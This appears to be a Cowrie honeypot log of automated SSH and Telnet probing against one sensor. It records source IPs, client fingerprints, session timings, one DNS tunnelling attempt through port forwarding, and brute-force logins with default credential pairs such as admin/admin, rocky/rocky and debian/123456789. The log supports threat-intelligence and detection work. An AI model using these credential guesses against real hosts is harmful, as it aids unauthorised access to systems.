{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:20.805141Z","src_ip":"87.251.64.176","session":"46bd5e335b71","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:21.134061Z","src_ip":"87.251.64.176","session":"46bd5e335b71","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:21.261592Z","session":"46bd5e335b71","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:21.375372Z","src_ip":"87.251.64.176","session":"46bd5e335b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:21.531730Z","src_ip":"87.251.64.176","session":"46bd5e335b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:21.567251Z","src_ip":"176.65.132.254","session":"e1821c8a15c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.29730010032654,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:22.099234Z","src_ip":"62.210.97.77","session":"a03482faa00a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.92679572105408,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:22.477054Z","src_ip":"62.210.97.77","session":"dcac8354dd49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.49405908584595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:23.026424Z","src_ip":"62.210.97.77","session":"8ae20f83da13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.99476957321167,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:23.159535Z","src_ip":"62.210.97.77","session":"baf20fde2ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0343103408813477,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:23.346601Z","src_ip":"38.54.119.93","session":"45d7057d8cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53902,"dst_ip":"10.17.0.5","dst_port":22,"session":"a928b3e4586a","protocol":"ssh","message":"New connection: 176.65.132.254:53902 (10.17.0.5:22) [session: a928b3e4586a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:23.943933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:23.949576Z","src_ip":"176.65.132.254","session":"a928b3e4586a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:24.053956Z","src_ip":"176.65.132.254","session":"a928b3e4586a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:24.341671Z","src_ip":"176.65.132.254","session":"a928b3e4586a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53280,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e836548b8dc","protocol":"telnet","message":"New connection: 62.210.97.77:53280 (10.17.0.5:23) [session: 1e836548b8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:24.605356Z"}
{"eventid":"cowrie.session.closed","duration":33.95860028266907,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:24.646129Z","src_ip":"62.210.97.77","session":"3ac61e2039a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53294,"dst_ip":"10.17.0.5","dst_port":23,"session":"6601be2a37b3","protocol":"telnet","message":"New connection: 62.210.97.77:53294 (10.17.0.5:23) [session: 6601be2a37b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:24.918592Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:25.439547Z","src_ip":"176.65.132.254","session":"a928b3e4586a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53306,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c6536184d7b","protocol":"telnet","message":"New connection: 62.210.97.77:53306 (10.17.0.5:23) [session: 0c6536184d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:26.608749Z"}
{"eventid":"cowrie.session.closed","duration":8.4306321144104,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:27.230242Z","src_ip":"65.60.27.33","session":"39fbd0cd8451","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.70131063461304,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:27.415731Z","src_ip":"62.210.97.77","session":"65c3c3d24d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.59276556968689,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:28.114079Z","src_ip":"65.60.27.33","session":"f68463432a11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.74877905845642,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:28.133564Z","src_ip":"62.210.97.77","session":"dc031f97aa68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53918,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a408d460e1e","protocol":"ssh","message":"New connection: 176.65.132.254:53918 (10.17.0.5:22) [session: 6a408d460e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:28.332469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:28.337698Z","src_ip":"176.65.132.254","session":"6a408d460e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:28.420974Z","src_ip":"176.65.132.254","session":"6a408d460e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.736796855926514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:28.593188Z","src_ip":"62.210.97.77","session":"ca925750065d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:28.671824Z","src_ip":"176.65.132.254","session":"6a408d460e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53388,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ebd601985ff","protocol":"telnet","message":"New connection: 62.210.97.77:53388 (10.17.0.5:23) [session: 6ebd601985ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:28.934580Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53404,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf57199ac101","protocol":"telnet","message":"New connection: 62.210.97.77:53404 (10.17.0.5:23) [session: bf57199ac101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:29.335152Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53414,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc3054d3a653","protocol":"telnet","message":"New connection: 62.210.97.77:53414 (10.17.0.5:23) [session: dc3054d3a653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:29.693421Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:29.944076Z","src_ip":"176.65.132.254","session":"6a408d460e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53426,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb8f6401c1ce","protocol":"telnet","message":"New connection: 62.210.97.77:53426 (10.17.0.5:23) [session: cb8f6401c1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:30.383665Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45326,"dst_ip":"10.17.0.5","dst_port":23,"session":"3beaaf961c01","protocol":"telnet","message":"New connection: 65.60.27.33:45326 (10.17.0.5:23) [session: 3beaaf961c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:32.146141Z"}
{"eventid":"cowrie.session.closed","duration":34.90171003341675,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:32.254326Z","src_ip":"62.210.97.77","session":"e3384a13e3bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":41376,"dst_ip":"10.17.0.5","dst_port":22,"session":"449c06326581","protocol":"ssh","message":"New connection: 45.78.198.206:41376 (10.17.0.5:22) [session: 449c06326581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:32.337014Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34064,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8e7cf5235d4","protocol":"ssh","message":"New connection: 176.65.132.254:34064 (10.17.0.5:22) [session: f8e7cf5235d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:32.435951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:32.441895Z","src_ip":"176.65.132.254","session":"f8e7cf5235d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:32.524892Z","src_ip":"176.65.132.254","session":"f8e7cf5235d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.80550241470337,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:32.620673Z","src_ip":"62.210.97.77","session":"ed868d1d3224","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:32.778027Z","src_ip":"176.65.132.254","session":"f8e7cf5235d4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:33.379711Z","src_ip":"45.78.198.206","session":"449c06326581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:33.383858Z","src_ip":"45.78.198.206","session":"449c06326581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:33.865633Z","src_ip":"176.65.132.254","session":"f8e7cf5235d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.576141357421875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:34.328189Z","src_ip":"62.210.97.77","session":"2e582ed01054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53442,"dst_ip":"10.17.0.5","dst_port":23,"session":"e81cda117dd6","protocol":"telnet","message":"New connection: 62.210.97.77:53442 (10.17.0.5:23) [session: e81cda117dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:34.441425Z"}
{"eventid":"cowrie.session.closed","duration":36.875982999801636,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:34.590376Z","src_ip":"62.210.97.77","session":"fe43dc85982f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.812283515930176,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:34.619661Z","src_ip":"62.210.97.77","session":"1032b6a433e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.685001373291016,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:35.094175Z","src_ip":"134.209.8.29","session":"0d1052fa39be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53454,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c3d19e1fcbd","protocol":"telnet","message":"New connection: 62.210.97.77:53454 (10.17.0.5:23) [session: 8c3d19e1fcbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:35.480489Z"}
{"eventid":"cowrie.login.failed","username":"dcadmin","password":"dcadmin","message":"login attempt [dcadmin/dcadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:35.837674Z","src_ip":"45.78.198.206","session":"449c06326581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.72232723236084,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:35.868369Z","src_ip":"65.60.27.33","session":"3beaaf961c01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53456,"dst_ip":"10.17.0.5","dst_port":23,"session":"a604dfcb2945","protocol":"telnet","message":"New connection: 62.210.97.77:53456 (10.17.0.5:23) [session: a604dfcb2945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:36.064986Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34076,"dst_ip":"10.17.0.5","dst_port":22,"session":"20914588bac0","protocol":"ssh","message":"New connection: 176.65.132.254:34076 (10.17.0.5:22) [session: 20914588bac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:36.371273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:36.376307Z","src_ip":"176.65.132.254","session":"20914588bac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53460,"dst_ip":"10.17.0.5","dst_port":23,"session":"105555409e7a","protocol":"telnet","message":"New connection: 62.210.97.77:53460 (10.17.0.5:23) [session: 105555409e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:36.437749Z"}
